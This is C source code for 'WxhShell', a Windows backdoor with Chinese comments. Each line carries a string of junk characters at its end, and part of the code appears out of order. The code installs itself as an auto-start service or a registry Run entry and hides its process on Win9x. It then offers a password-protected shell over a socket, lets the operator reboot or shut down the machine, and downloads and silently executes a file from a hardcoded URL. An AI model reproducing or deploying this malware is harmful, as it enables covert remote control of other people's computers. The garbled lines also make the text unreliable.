  case 'd': { b+BX >$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0%3T'N%  
    if(Boot(SHUTDOWN)) C+gu'hD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :5:_Dr<  
    else { w aDJ  
    closesocket(wsh); l_2YPon  
    ExitThread(0); h5))D!  
    } +:z%#D  
    break; y|WOw(#  
    } CS"p3$7,  
  // 获取shell P?y{ 9H*  
  case 's': { S_Vquw(+  
    CmdShell(wsh); ?[lKft  
    closesocket(wsh); -AKbXkc~\  
    ExitThread(0); o7g6*hJz  
    break; ?\a';@h  
  } [+:KIW<  
  // 退出 {1GIiP-U  
  case 'x': { XP65  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ";59,\6  
    CloseIt(wsh); u?8e>a  
    break; puGy`9eKv1  
    } G""=`@  
  // 离开 iEMIzaR  
  case 'q': { 'RCX6TKBnR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3[To"You  
    closesocket(wsh); KYFkO~N  
    WSACleanup(); zrur-i$N+  
    exit(1); P"c7h7  
    break; JI92Dc*o  
        } McU]U 9:z  
  } 8V:yOq10  
  } 0y#TGM|0D  
f=40_5a6  
  // 提示信息 kC+dQ&@g{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vu)V:y  
} }5ONDg(I~  
  } \Eyy^pb  
!q*]_1  
  return; =/HTe&  
} ;p)fW/<  
q.RW_t~  
// shell模块句柄 C6,W7M[c  
int CmdShell(SOCKET sock) lb#`f,r>  
{ NSAp.m   
STARTUPINFO si; =[^_x+x hE  
ZeroMemory(&si,sizeof(si)); F}#=qBa[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t`A5wqm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U^$l$"~"  
PROCESS_INFORMATION ProcessInfo; LpSd/_^b  
char cmdline[]="cmd"; %:.00F([r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a7l-kG=R;  
  return 0; (8.|q6Nww  
} 'I)E.DoF  
3)qtz_,H/g  
// 自身启动模式 <}Rr C#uiA  
int StartFromService(void) '=m ?l  
{ 3 ?DM AV  
typedef struct -o0~xspF  
{ {-\VX2:;[9  
  DWORD ExitStatus; 2<5s0GT'/  
  DWORD PebBaseAddress; NU|T`gP  
  DWORD AffinityMask; YQ<O .E  
  DWORD BasePriority; ]]bL;vlw  
  ULONG UniqueProcessId; 1rhQ{6  
  ULONG InheritedFromUniqueProcessId; ;-T%sRI:|  
}   PROCESS_BASIC_INFORMATION; :. a}pgh  
1:lhZFZ  
PROCNTQSIP NtQueryInformationProcess; _ ;_NM5  
E&RK My)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'B4j=K*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  fj])  
 &+Pcu5  
  HANDLE             hProcess; ]w|,n2DG  
  PROCESS_BASIC_INFORMATION pbi; zi}dQsy6  
-|xyj2M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g4*]R>f  
  if(NULL == hInst ) return 0; 20H$9M=}  
vZpt}u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W%RjjL J@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {sL(PS.z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?k*s!YCZ  
O WVa&8O  
  if (!NtQueryInformationProcess) return 0; `l95I7  
A?*_14&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y r^C+Oyg  
  if(!hProcess) return 0; t^qPQ;"=,  
Af>Ho"i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `$D2w|  
X6]eQ PN2  
  CloseHandle(hProcess); gyW##M@{  
n/5)}( }K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HLcK d`$/  
if(hProcess==NULL) return 0; q@x{6zj  
-?WhJ.U  
HMODULE hMod; /Hl]$sJY  
char procName[255]; _S;L| 1>S  
unsigned long cbNeeded; )/F1,&/N`e  
@cZNoD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yxt`Uvc(^h  
SD^6ib/]b  
  CloseHandle(hProcess); xI7; (o"  
P=V=\T<4_  
if(strstr(procName,"services")) return 1; // 以服务启动 )0JXUC e  
dF%sD|<)  
  return 0; // 注册表启动 %Ot^G%34  
} @OlV6M;qJ  
w%[ `'_[  
// 主模块 T7=~l)I  
int StartWxhshell(LPSTR lpCmdLine) agFWye  
{ D'Gmua]I  
  SOCKET wsl; L.z`>1  
BOOL val=TRUE; ,#42ebGHR  
  int port=0; ~cSOni`  
  struct sockaddr_in door; s:y=X$&M  
f|1GlUA{t  
  if(wscfg.ws_autoins) Install(); Svo gvn  
u;Q'xuo3  
port=atoi(lpCmdLine); b;O|-2AR  
nx >PZb  
if(port<=0) port=wscfg.ws_port; +SSF=]4+  
t F<|Eja *  
  WSADATA data; L;0ZB=3n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l1\/ `  
$b/oiy!=|3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^MesP:[2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bb6J$NR  
  door.sin_family = AF_INET; el*C8TWlw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 37@_"  
  door.sin_port = htons(port); Q2)z1'Wv  
i!30f^9D-S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :*"0o{ ie  
closesocket(wsl); 4#Fz!Km  
return 1; nJ`JF5tI  
} &z r..i4O  
UNJ]$x0  
  if(listen(wsl,2) == INVALID_SOCKET) { x62 b=k}  
closesocket(wsl); MeqW/!72$L  
return 1; Fa$ pr`  
} qsUlfv9L6  
  Wxhshell(wsl); 7  Znr2I  
  WSACleanup(); !tT$}?Ano  
D^Bd>Ey4  
return 0; R)"Y 40nW  
p-zWfXn!P  
} )IGE2k|  
A|V |vT7cb  
// 以NT服务方式启动 hmOhXE[ a&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cZN+D D  
{ SR#X\AWM  
DWORD   status = 0; N&!qu r \  
  DWORD   specificError = 0xfffffff; WKFmU0RK  
[g_Cg=J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z_Ox'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O1Gd_wDC/i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nl|}_~4U  
  serviceStatus.dwWin32ExitCode     = 0; m Kwhd} V  
  serviceStatus.dwServiceSpecificExitCode = 0; dQR2!yHEq  
  serviceStatus.dwCheckPoint       = 0; K4i#:7r'b  
  serviceStatus.dwWaitHint       = 0; zlmb_akJ  
sH(AsKiNKe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >WMH.5p  
  if (hServiceStatusHandle==0) return; |*0oz=  
5r qjqfFa  
status = GetLastError(); yG5T;O&  
  if (status!=NO_ERROR) "PBUyh-Z  
{ 'g8~539{&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }*m:zD@8$  
    serviceStatus.dwCheckPoint       = 0; 9N|O*h1;u  
    serviceStatus.dwWaitHint       = 0; c xdhG"  
    serviceStatus.dwWin32ExitCode     = status; $Xw .iN]g  
    serviceStatus.dwServiceSpecificExitCode = specificError; twqjaFA>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BlS0I%SN  
    return; nn"!x|c  
  } AA9OElCa  
: 2?J#/o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; inavi5.  
  serviceStatus.dwCheckPoint       = 0; 9)Y]05us  
  serviceStatus.dwWaitHint       = 0; }> k9]Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3_2(L"S2  
} |,j6cFNw  
,ijgqEN  
// 处理NT服务事件,比如:启动、停止 W$@q ~/E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *usfJ-  
{ P@:#NU[  
switch(fdwControl) +I#5?  
{  gM20n^  
case SERVICE_CONTROL_STOP: 2As 4}  
  serviceStatus.dwWin32ExitCode = 0; W|3XD-v@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qtTys gv  
  serviceStatus.dwCheckPoint   = 0; '8~7Ru\KyX  
  serviceStatus.dwWaitHint     = 0; NjVuwIm+  
  { Pv{ {zyc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =*qu:f\y  
  } -<a~kVv  
  return; YMwMaU)K,  
case SERVICE_CONTROL_PAUSE: eMVfv=&L<3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b&A+`d  
  break; L$h.VQv+  
case SERVICE_CONTROL_CONTINUE: I+w3It  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |HJdpY>Uu  
  break; `~[zIq:}7  
case SERVICE_CONTROL_INTERROGATE: Nhn5 iN1*  
  break; '5KgRK"  
}; Ze'AZF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qv,|*bf  
} 3@?#4]D{'  
Ob?>zsx  
// 标准应用程序主函数 "[(_C&Ot4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )h,+>U@  
{ 'Zf_/ y  
q(e&{pbM)  
// 获取操作系统版本 C<2vuZD  
OsIsNt=GetOsVer(); X^#48*"a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?7^H1L  
ePK^v_vBD  
  // 从命令行安装 H^p ?t=Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); QP)-O*+AA  
BD[XP`[{  
  // 下载执行文件 (1fE^KF@f  
if(wscfg.ws_downexe) { G5E03xvL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JJq= {;  
  WinExec(wscfg.ws_filenam,SW_HIDE); /sH3Rk.>  
} &@c=$+#C  
p-UACMN& c  
if(!OsIsNt) { W+&ZYN 'E  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vp\BNq_!s  
HideProc(); =U!'v X d  
StartWxhshell(lpCmdLine); V{@<Z8sW#  
} j/{F#auI  
else {LbNKjn  
  if(StartFromService()) fzRzkn:=  
  // 以服务方式启动 tQbDP!,A*=  
  StartServiceCtrlDispatcher(DispatchTable); ?C//UN;  
else ||cG/I&,  
  // 普通方式启动 x:O?Fj  
  StartWxhshell(lpCmdLine); .t4IR =Z  
z)=D&\HX  
return 0; /OK.n3Tt  
} R:x4j#(  
*Eu ca~%=  
,<%Y.x%4z[  
` #A&v  
=========================================== 3 zp)!QJi  
`UMv#-Y8  
g4&zBn  
X3#|9  
Am%zEt$c  
~ d^+yR-  
" Zaf].R  
>5#`j+8=q  
#include <stdio.h> yJc<;Qx  
#include <string.h> a Umcs!@  
#include <windows.h> AtYe\_9$C  
#include <winsock2.h> EE#4,d`J  
#include <winsvc.h> gfw,S;  
#include <urlmon.h> 5Y#yz>B@ ]  
n>)CCf@H  
#pragma comment (lib, "Ws2_32.lib") kdman nM  
#pragma comment (lib, "urlmon.lib") v2G_p |+O  
Pon 2!$  
#define MAX_USER   100 // 最大客户端连接数 IrjKI.PR  
#define BUF_SOCK   200 // sock buffer Aga2 I#1r  
#define KEY_BUFF   255 // 输入 buffer K_bF)6"  
;&37mO/T  
#define REBOOT     0   // 重启 'ADt<m_$  
#define SHUTDOWN   1   // 关机 jn>3(GRGC$  
E< "aUnI  
#define DEF_PORT   5000 // 监听端口 k'&BAC.K,  
`QXO+'j4  
#define REG_LEN     16   // 注册表键长度 t8\F7F P  
#define SVC_LEN     80   // NT服务名长度 )\l}i%L:  
$SRpFz5y$  
// 从dll定义API Yvs)H'n=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *oL?R2#7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vXLiYWo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 63QMv[`,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v#@"Evh7  
T|Sz~nO}f  
// wxhshell配置信息 {*ATY+  
struct WSCFG { wAkpk&R  
  int ws_port;         // 监听端口 g+t-<D"L5  
  char ws_passstr[REG_LEN]; // 口令 ]C3{ _?=  
  int ws_autoins;       // 安装标记, 1=yes 0=no /+.Bc(`  
  char ws_regname[REG_LEN]; // 注册表键名 iUFS1SN \  
  char ws_svcname[REG_LEN]; // 服务名 OGh9^,v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eZIqyw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y!u)q3J0&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "yXKu)_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lPSyFb"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d+rrb>-OU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =21$U[  
)~v`dwKj;  
}; ;"-(QE?Mv  
.C$S DhJ~  
// default Wxhshell configuration wUW^ O  
struct WSCFG wscfg={DEF_PORT, rS\j9@=Y4  
    "xuhuanlingzhe", fPZt*A__  
    1, 0z #'=XWk  
    "Wxhshell", __teh>MC  
    "Wxhshell", %/"I.\%d  
            "WxhShell Service", Urj8v2k  
    "Wrsky Windows CmdShell Service", Xt^ldW  
    "Please Input Your Password: ", c [sydl  
  1, >0DQ<@ot:  
  "http://www.wrsky.com/wxhshell.exe", Z,)4(#b =  
  "Wxhshell.exe" jOa . h  
    }; ^=.R#zrc  
/17Qhex  
// 消息定义模块 u n\!K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +%7v#CY &  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q [kbEhv;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NQz*P.q  
char *msg_ws_ext="\n\rExit."; JGOry \  
char *msg_ws_end="\n\rQuit."; @X+m,u  
char *msg_ws_boot="\n\rReboot..."; %O B:lAeJ  
char *msg_ws_poff="\n\rShutdown..."; 1PpZ*YK3z  
char *msg_ws_down="\n\rSave to "; V zuW]"  
uf]S PG#/D  
char *msg_ws_err="\n\rErr!"; <k!M+}a 9V  
char *msg_ws_ok="\n\rOK!"; #<s6L"Z-  
2 -72 8  
char ExeFile[MAX_PATH]; ukpbx;O:hc  
int nUser = 0; [Ul"I-K  
HANDLE handles[MAX_USER]; H C(Vu  
int OsIsNt; T\I}s"d  
3)88B"E  
SERVICE_STATUS       serviceStatus; ~U(`XvR\4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O B`(,m#  
b3F)$UQ  
// 函数声明 -0r 0M )  
int Install(void); g= ~Y\$&  
int Uninstall(void); k#uSH eq7f  
int DownloadFile(char *sURL, SOCKET wsh); AD K)p?  
int Boot(int flag); ^\ A[^' 9  
void HideProc(void); 4&X D  
int GetOsVer(void); cWjb149@)  
int Wxhshell(SOCKET wsl); <*EMcZ  
void TalkWithClient(void *cs); ?!^ow5"8  
int CmdShell(SOCKET sock); n75)%-  
int StartFromService(void); k>E^FB=  
int StartWxhshell(LPSTR lpCmdLine); h?R{5?RxK  
J!Er%QUR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |eykb?j`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SQ8xfD*  
\ne1Xu:hM  
// 数据结构和表定义 g%Bh-O9\  
SERVICE_TABLE_ENTRY DispatchTable[] = v e($l"T  
{ ${m;x:'  
{wscfg.ws_svcname, NTServiceMain}, V5:ad  
{NULL, NULL} yJQ>u  
}; OL]P(HRm]~  
EQI9 J#;+  
// 自我安装 01=nS?  
int Install(void) \c}_!.xj"  
{ N8x[8Rp  
  char svExeFile[MAX_PATH]; <}75Xo  
  HKEY key; WX .Ax$fT  
  strcpy(svExeFile,ExeFile); Zc9@G-  
oC ?UGY~xL  
// 如果是win9x系统,修改注册表设为自启动 \4Uhc3  
if(!OsIsNt) { |j$r@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cq]JD6937  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5.ibH  
  RegCloseKey(key); ,]`|2j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2[|52+zhc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hr$Wt ?B  
  RegCloseKey(key); z]_2lx2e  
  return 0; 5~D(jHY;  
    } ebno:)  
  } /2^"c+/'p  
} ]%M&pc3U  
else { =LXjq~p  
YP E1s  
// 如果是NT以上系统,安装为系统服务 "5<:Dj/W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ( jACLo  
if (schSCManager!=0) GuK3EM*_  
{ P5Lb)9_Jw  
  SC_HANDLE schService = CreateService L~oy|K67  
  ( "<Ozoo1&w  
  schSCManager, L4O.=*P1  
  wscfg.ws_svcname, fGZ56eH:  
  wscfg.ws_svcdisp, UE9RrfdN  
  SERVICE_ALL_ACCESS, W(pq_H'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <fHJ9(5$V  
  SERVICE_AUTO_START, U!d|5W.{Q  
  SERVICE_ERROR_NORMAL, zh{,.c  
  svExeFile, {wy{L-X  
  NULL, U#V&=~-  
  NULL, cWtuI(.  
  NULL, /!Ay12lKE}  
  NULL, i<0_sxfUD  
  NULL ^H"o=K8=  
  ); &F- \t5X=i  
  if (schService!=0) QPX&P{!g  
  { cwuzi;f  
  CloseServiceHandle(schService); >``sM=Wat  
  CloseServiceHandle(schSCManager); g(_xo\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "QD>m7  
  strcat(svExeFile,wscfg.ws_svcname); "I3 #/~q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8 Y4mTW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IR2=dQS  
  RegCloseKey(key); BP4xXdG  
  return 0; *+OS;R1<  
    } |`ya+/ff+  
  } ?(Se$iTZ  
  CloseServiceHandle(schSCManager); OZc4 -5  
} }y%c.  
} J>l?HK  
|v:oLgUdH  
return 1; &(7=NAQsE  
} dI%?uk  
6k_Uq.<X  
// 自我卸载 i0:1+^3^U  
int Uninstall(void) p}oGhO&=  
{ /4*Y#IpZ  
  HKEY key; 2FR+Z3&z  
Xh}S_/9}5  
if(!OsIsNt) { lZAXDxhnT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =oBlUE  
  RegDeleteValue(key,wscfg.ws_regname); rD+mI/_J`  
  RegCloseKey(key); V7b;qC'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rk,'ujc  
  RegDeleteValue(key,wscfg.ws_regname); beaSvhPU  
  RegCloseKey(key); =t^jlb  
  return 0; O 1D|T"@  
  } rFUR9O.{E  
} cJMi`PQ;  
} ?7>"ZGDe>  
else { Ptz## o'{5  
[ *Dj7z t:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y8_$YA/g  
if (schSCManager!=0) b)@D@K"5  
{ ?3lA ogB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +Xp1=2Mq  
  if (schService!=0) zuu<;^/R  
  { a^={X<K|/  
  if(DeleteService(schService)!=0) { ~-<MoCm!  
  CloseServiceHandle(schService); 2X<%BFsE  
  CloseServiceHandle(schSCManager); t~7OtPF  
  return 0; o\F>K'  
  } a:8 MoH4  
  CloseServiceHandle(schService); ;4U"y8PVTh  
  } l?QA;9_R'  
  CloseServiceHandle(schSCManager); l\F71pwSI  
} Nm !~h|3  
} /ej[oR  
/oW]? 9  
return 1; DK eB%k  
} iO&*WIbg  
#i .,+Q  
// 从指定url下载文件 U?an\rv  
int DownloadFile(char *sURL, SOCKET wsh) r<'DS9m  
{ (i L*1f   
  HRESULT hr; 8v z h5,U  
char seps[]= "/"; D Qz+t  
char *token; k3H0$1  
char *file; DF_wMv:>^  
char myURL[MAX_PATH]; w >2sr^!y  
char myFILE[MAX_PATH]; 8\"Gs z  
Y)DAR83  
strcpy(myURL,sURL); a2Nxpxho  
  token=strtok(myURL,seps); WW.@&#S5  
  while(token!=NULL) }toe'6  
  { m~ 5"q%;  
    file=token; cF 4,dnI  
  token=strtok(NULL,seps); y=c={Qz@vn  
  } `LNhamp  
CIz0Gjtx6m  
GetCurrentDirectory(MAX_PATH,myFILE); Q^ZM|(s#  
strcat(myFILE, "\\"); ]Zt]wnL+  
strcat(myFILE, file); Q5ff&CE  
  send(wsh,myFILE,strlen(myFILE),0); JOpH Z?  
send(wsh,"...",3,0); T>]T=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s;YbZ*oaMe  
  if(hr==S_OK) }% f7O  
return 0; 0 zK{)HZ  
else q8&l%-d`  
return 1; %59uR}\  
'B{FRK  
} 3:MJKS02OD  
5VP0Xa ~  
// 系统电源模块 WPkKbF  
int Boot(int flag) 2cUT bRm  
{ /q+;!EM  
  HANDLE hToken; ax>j3HKi  
  TOKEN_PRIVILEGES tkp; m3BL  
5L:-Xr{  
  if(OsIsNt) { jQzl!f1c3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Db<#gH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @J&korU  
    tkp.PrivilegeCount = 1; X3a9-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (De{r|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /zt M'  
if(flag==REBOOT) { j{ YYG|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z4:<?K  
  return 0; R2n 2mQ<  
} g\fj6  
else { \7i_2|w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +^lB"OcOX@  
  return 0; ?WHf%Ie2(  
} #H w(w  
  } iX6>u4~(  
  else { Vn4wk>b}$2  
if(flag==REBOOT) { :u./"[G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GE(~d '  
  return 0; 3PGAUQR#"q  
} _<LL@IX  
else { 7jIBE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A $gn{ c  
  return 0; 8'zZVX D<  
} y7M{L8{0  
} z,4mg6gt  
4[@YF@_=M  
return 1; t|eH'"N%o  
} EC;>-s  
Cp(2]Eb  
// win9x进程隐藏模块 Nw'03Jzx_  
void HideProc(void) '"fJA/O  
{ q6)fP4MQ]  
kFwFPK%B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _%- +"3Ll  
  if ( hKernel != NULL ) !CWe1Dm  
  { 5K ;E*s,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /V:9*C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [K.1 X=O}  
    FreeLibrary(hKernel); Q}|K29Y:p  
  } 3y6\0|{1  
Q0Ft.b  
return; X)[tb]U/Wx  
} 3{$7tck,  
N o6!gZ1  
// 获取操作系统版本 d]] z )  
int GetOsVer(void) o]4\Geg$  
{ IgG[Pr'D  
  OSVERSIONINFO winfo; bsF_.S*k@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bu|.Jw"  
  GetVersionEx(&winfo); zo( #tQ-'m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |MFAP!rycS  
  return 1; 7Hr_ZwO/^  
  else 4MzQH-U>/  
  return 0; dHUbaf:e)T  
} Ctz#9[|  
m+hI3@j  
// 客户端句柄模块 k?14'X*7yu  
int Wxhshell(SOCKET wsl) Q !;syJBb.  
{ 1j$\ 48Z  
  SOCKET wsh; O`9c!_lis  
  struct sockaddr_in client; gHLI>ew*QR  
  DWORD myID; JP5e=Z<  
E(P 6s;LZ  
  while(nUser<MAX_USER) FKTF?4+\U  
{ ;"Kgg:K>W  
  int nSize=sizeof(client); 5, 1<A@H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z}ar$}T  
  if(wsh==INVALID_SOCKET) return 1; cK+TE8ao  
t1adS:)s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x3=1/#9  
if(handles[nUser]==0) ki9&AFs2X  
  closesocket(wsh); !k)6r6  
else yov~'S9  
  nUser++; ^ ~Eh+  
  } F'Y ad  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]=00<~ l*q  
+-^>B%/&Z  
  return 0; m!/TJhiQ  
} 2bNOn%!  
Cf=H~&`Z  
// 关闭 socket [i`  
void CloseIt(SOCKET wsh) LpU}.  
{ HU $"o6ap  
closesocket(wsh); ;o!p9MEpz;  
nUser--; q@ -B+  
ExitThread(0); PC_!  
} 'w+]kt-  
'dwT&v]@  
// 客户端请求句柄 }tW-l*\U  
void TalkWithClient(void *cs) %+(AKZu:  
{ t]LiFpy2IC  
={O ~  
  SOCKET wsh=(SOCKET)cs; :Z//  
  char pwd[SVC_LEN]; H2s:M  
  char cmd[KEY_BUFF]; _J l(:r\%  
char chr[1]; ~?F,kmO}?  
int i,j; y&zFS4"x  
[tpiU'/Zl  
  while (nUser < MAX_USER) { @f-X/q]P  
?bB>}:~j)  
if(wscfg.ws_passstr) { *p}mn#ru-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gF{ehU%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v|%41xOsr  
  //ZeroMemory(pwd,KEY_BUFF); bmv8nal<Y  
      i=0; !%G]~  
  while(i<SVC_LEN) { 7Jf~Bn  
j,M$l mR')  
  // 设置超时 *): |WDR  
  fd_set FdRead; Cs6`lX >  
  struct timeval TimeOut; ;5j|B|v  
  FD_ZERO(&FdRead); %":3xj'EEI  
  FD_SET(wsh,&FdRead); IL].!9  
  TimeOut.tv_sec=8; Z+El(f x  
  TimeOut.tv_usec=0; h<G4tjtk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i.Rl&t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .11l(M  
:jiuu@<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] 3{t}qY$A  
  pwd=chr[0]; 5*YoK)2J  
  if(chr[0]==0xd || chr[0]==0xa) { |p6d]#z3  
  pwd=0; rwF$aR>9  
  break; TEC^|U`G  
  } c{=Sy;i@  
  i++; $o[-xNn1  
    } J/je/PC  
&h334N|4{  
  // 如果是非法用户,关闭 socket h Qn?qJy%W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -tg|y  
} (9]Uuvfp6"  
"\b>JV5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RQ,#TbAe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D\Ak-$kJ^  
QL/KY G  
while(1) { A[Mke  
~:a1ELqVw  
  ZeroMemory(cmd,KEY_BUFF); UM7@c7B?  
{[H_Vl@  
      // 自动支持客户端 telnet标准   C*Vm}|)  
  j=0; g&$=Y7G  
  while(j<KEY_BUFF) { tIuM9D{P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *2/Jg'de  
  cmd[j]=chr[0]; axC|,8~tq  
  if(chr[0]==0xa || chr[0]==0xd) { ,;g%/6X  
  cmd[j]=0; Z.\q$U7'9  
  break; ;I>nA6A  
  } cJ4My#w  
  j++; cJo%j -AM  
    } \O|SPhaIf  
7Jn%XxHq  
  // 下载文件 ]Z!Y *v  
  if(strstr(cmd,"http://")) { #J[g r_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C`.YOkpj  
  if(DownloadFile(cmd,wsh)) nrl?<4 _  
